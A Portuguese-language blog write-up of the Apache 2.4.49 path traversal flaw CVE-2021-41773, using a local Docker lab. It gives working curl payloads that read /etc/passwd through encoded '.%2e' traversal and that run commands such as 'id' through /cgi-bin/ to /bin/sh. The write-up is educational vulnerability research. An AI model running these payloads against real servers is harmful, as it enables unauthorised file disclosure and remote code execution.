
CVE-2021-41773
Olá pessoal, ontem foi lançada a nova CVE-2021-41773 para a versão 2.4.49 do Apache. Então, neste caso, quero explicar sobre esta vulnerabilidade do Apache.
Então, acho que vocês querem testar esta vulnerabilidade em um site. Então, tenho um playground para vocês. Este é o site para baixar a imagem Docker do exemplo do Apache 2.4.49 Docker Image
Nota: existem duas imagens: with-cgid e no-cgid. Você precisa baixar ambas as imagens.
Primeiro, baixe a imagem docker em sua máquina.
no-cgid: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker pull blueteamsteve/cve-2021-41773:with-cgid
no-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid
Honestamente, não sei como ele pensou em encontrar esta vulnerabilidade. Então, não posso explicar completamente sobre isso. Mas farei o meu melhor para falar sobre tudo o que entendo sobre esta CVE.
Esta CVE é um pouco interessante porque tem duas vulnerabilidades. Elas são LFDDivulgação de arquivos locais e RCEExecução remota de código. Legal!. Então, neste post explicarei sobre ambas as vulnerabilidades desta CVE.
Então, vamos começar com a vulnerabilidade Divulgação de arquivos locais. Se você está familiarizado com o Apache, pode notar que cgi-bin (Common Gateway Interface) é o caminho padrão que define uma maneira para um servidor web interagir com programas externos geradores de conteúdo no Apache 2.4.49.
Mas este caminho é Proibido para todos e até mesmo para o administrador. Hmm, interessante, certo?
E se você está familiarizado com a vulnerabilidade Divulgação de arquivos locais, você pode saber que a maioria das vulnerabilidades LFD acontece em caminhos proibidos.
Então, vamos testar payloads simples de LFI no caminho /cgi-bin/.
Eu coloco ../../../../../ antes de /etc/passwd.
(Se você quiser saber o que é ../, confira este post do blogBypass de divulgação de arquivos locais)
Com curl:
curl http://localhost:8080/cgi-bin/../../../../../etc/passwd

Com burpsuite:

Como você pode ver, obtivemos erro com este payload simples. No curl, obtivemos o código de status 404 Not Found e no Burp, obtivemos o erro 400 Bad Request.
Então isso significa que devemos codificar nosso payload para codificação URL. Então vamos tentar e ver o que obteremos.
Então, codifico o . para URL. Nota: . é %2E e também %2e na codificação URL.
Com curl:
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

Com Burp:

Sim!. Nosso payload funcionou agora. Podemos ler o /etc/passwd do site.
Então, espero que agora você tenha entendido sobre a vulnerabilidade LFD desta CVE. Então, vamos continuar para a vulnerabilidade RCE desta CVE do Apache 2.4.49.
Para explicar sobre a vulnerabilidade RCE desta CVE, você precisa entender alguns conceitos básicos de RCE e linux basics.
Confira este post do blog para saber O que é RCE
Ah, acho que você pensou que eu falei errado ao dizer que precisa de linux basics. Não. Não falei errado, porque realmente precisamos disso. Então vamos começar!
Primeiro, deixe-me mostrar o payload funcional e explicarei como funcionou.
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;whoami'
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'

Então, deixe-me explicar sobre este payload.
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
Como você pode ver, o caminho /cgi-bin/ e a codificação .%2e são os mesmos. Mas agora há mais duas opções. Elas eram -d dados e /bin/sh /bin/bash. Então, deixe-me explicar por que precisamos colocá-las.
Primeiro, queremos obter execução remota de código, certo?.
Então, como você sabe, em sistemas baseados em Linux, /bin/bash é a parte principal para executar e digitar comandos e shells. Portanto, precisamos do bash para executar nossos comandos no servidor web. Confira issoO que é Bash no Linux.
Ok, agora, digamos que podemos obter /bin/sh. Só precisamos injetar nossos comandos. Podemos colocar nossa injeção como dados com curl.
Então, nosso payload é C|echo;id. Deixe-me explicar o que é isso.
Então, C não é nada. Podemos colocar qualquer coisa antes do |, como Comdey|.
O echo;id é apenas um truque do Linux. Então, eu disse que precisa de fundamentos de Linux Conceitos básicos de Echo
Se juntarmos tudo, obtemos RCE no Apache 2.4.49.
Obrigado por lerem, pessoal. Este é meu primeiro writeup para CVEs. Perdoem-me se fui ruim em explicar isso. E também, por favor, dêem sugestões.
